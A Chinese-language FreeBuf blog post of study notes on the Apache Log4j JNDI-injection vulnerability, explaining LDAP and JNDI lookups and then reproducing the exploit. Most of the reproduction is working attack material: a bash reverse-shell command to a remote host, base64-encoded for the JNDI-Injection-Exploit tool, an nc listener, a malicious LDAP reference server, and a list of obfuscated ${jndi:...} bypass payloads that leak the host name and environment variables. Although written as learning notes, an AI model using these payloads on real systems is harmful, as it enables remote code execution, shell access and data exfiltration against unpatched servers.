freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Apache Log4j漏洞学习笔记
2022-01-04 20:48:30

JNDI注入

LDAP 轻量级目录访问协议

可以理解为是一种目录数据库,概念上类似于马云的中国黄页、城镇电话簿这种。

比较典型的应用场景:统一登录

例如:

一个公司下有很多系统比如OA、VPN之类巴拉巴拉的每个系统都有自己独立的账号,对于用户来说记起来会很麻烦,LDAP协议实现了统一这些接口,集中的存储了用户信息。

JNDI 命名服务(java命名和目录接口)

可以理解为是一个抽象的接口,通过jndi屏蔽了一些访问低层资源的细节

JDBC连接数据库的弊端
1、参数变动导致url得修改
2、数据库产品切换,驱动包修改
3、连接池参数的调整
JNDI:可以根据名字找到一个位置或者服务或者资源、对象
流程:
1、绑定发布一个服务 bind
2、查找服务 lookup

例如连接数据库

jdbc

String URL="jdbc:mysql://127.0.01:3306/xxx?useUnicode=true&characterEncoding=utf-8";
String USER="root";
String PASSWORD="123456";

在spring boot 用JNDI的方式

spring.datasource.jndi-name=jdbc/exampleDB     //指定了JDBC的exampleDB数据库

定义方式如下

/conf/context.xml

<Context>
    <Resource name="jdbc/exampleDB"
              auth="Container"
              type="Javax.sql.DataSource"
              username="root"
              password="123456"
              driverClassName="com.mysql://localhost:3306/xxx"
              maxTotal="8"
              maxIdle="4"/>
</Context>

JNDI可以访问的服务:

DNS、XNam、Novell目录服务、LDAP、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

JNDI动态协议转换

当调用lookup()方法时,如果lookup方法的参数时一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象。

JNDI Naming Reference命名引用

当有客户端通过lookup(“refObj”)获取远程对象时,获取的是一个Reference的存根,由于是Reference的存根,所以客户端会先在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url动态加载。

为了加载LDAP服务之外的远程对象,它可以去定义一个叫Reference引用的类,并且可以把在LDAP服务之外的这个Reference引用的类注册到LDAP的服务里面,如果通过LDAP服务访问到是一个Reference外部类的时候,是可以从这个远程的服务器去加载这个对象,比如是java编译后的class文件并且会对它进行实例化。

例如:

用lookup去找如下代码中的test资源

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {

        logger.error("${jndi:ldap://127.0.0.1:7912/test}");
    }
}

发现没有这个资源,于是就会从如下代码中指定的地址中去下载那个文件,并且去执行其中的代码

import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.1.1:80/#Exploit";
JNDI注入的整体流程

1、 通过一个JNDI的接口传入恶意参数Exploit.class

2、访问目录服务,获得Reference存根,发现是一个不存在的refClassName对象

3、从指定远程HTTP服务器地址动态加载对象

4、Exploit.class下载到本地,并执行其中的代码

总结:

1、JNDI的客户端使用了lookup这个参数

2、这个lookup的参数是动态可控的

3、需要构建一个LDAP服务,指定远程加载地址为恶意代码地址

4、在客户端访问LDAP服务不存在的对象

5、客户端下载恶意代码到本地执行

漏洞复现

封神台靶场为例:https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd

准备工作:需要一台具有公网ip的服务器:这里用的腾讯云的vps、还有利用工具

1:由于用的是腾讯云的vps所以需要在安全策略中把用到的端口都放开

2:构造一句反弹shell的语句:bash -i >& /dev/tcp/192.168.1.2/7314 0>&1 //直接改里面的ip和端口就可以

3:https://www.jackson-t.ca/runtime-exec-payloads.html //将改好的语句,放到这个网址编码

4、java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "编码" -A "服务器ip"

例如:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTQ4LjEyNy83MzE0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "101.43.148.127"

5、将生成的payload放到这里面${jndi:ldap://192.169.1.1:1389/2aqmzu}自行替换掉里面相应的内容

6、将payload输入到登录框中,密码随意敲,点击登录,同时开启nc -lvvp 端口,监听你语句中反弹shell的端口

7、getshell

本地通过代码复现:修改代码中对应的ip及端口号即可

准本工作:需要开启http服务,开放80端口

将如下代码编译成class文件,放在http服务器根目录下

import java.io.IOException;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

执行如下代码

import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    /**
     * class地址 用#Exploit代替Exploit.class
     */
    private static final String EXPLOIT_CLASS_URL = "http://192.168.1.1:80/#Exploit";

    public static void main(String[] args) {
        int port = 7912;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Calc");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Log4J {
    private static final Logger logger = LogManager.getLogger(Log4J.class);

    public static void main(String[] args) {

        logger.error("${jndi:ldap://127.0.0.1:7912/test}");
    }
}

成功执行弹出计算器

bypass

${jndi:ldap://127.0.0.1:1389/ badClassName} 

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk

本文作者:, 转载请注明来自FreeBuf.COM

# web安全 # 学习笔记
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑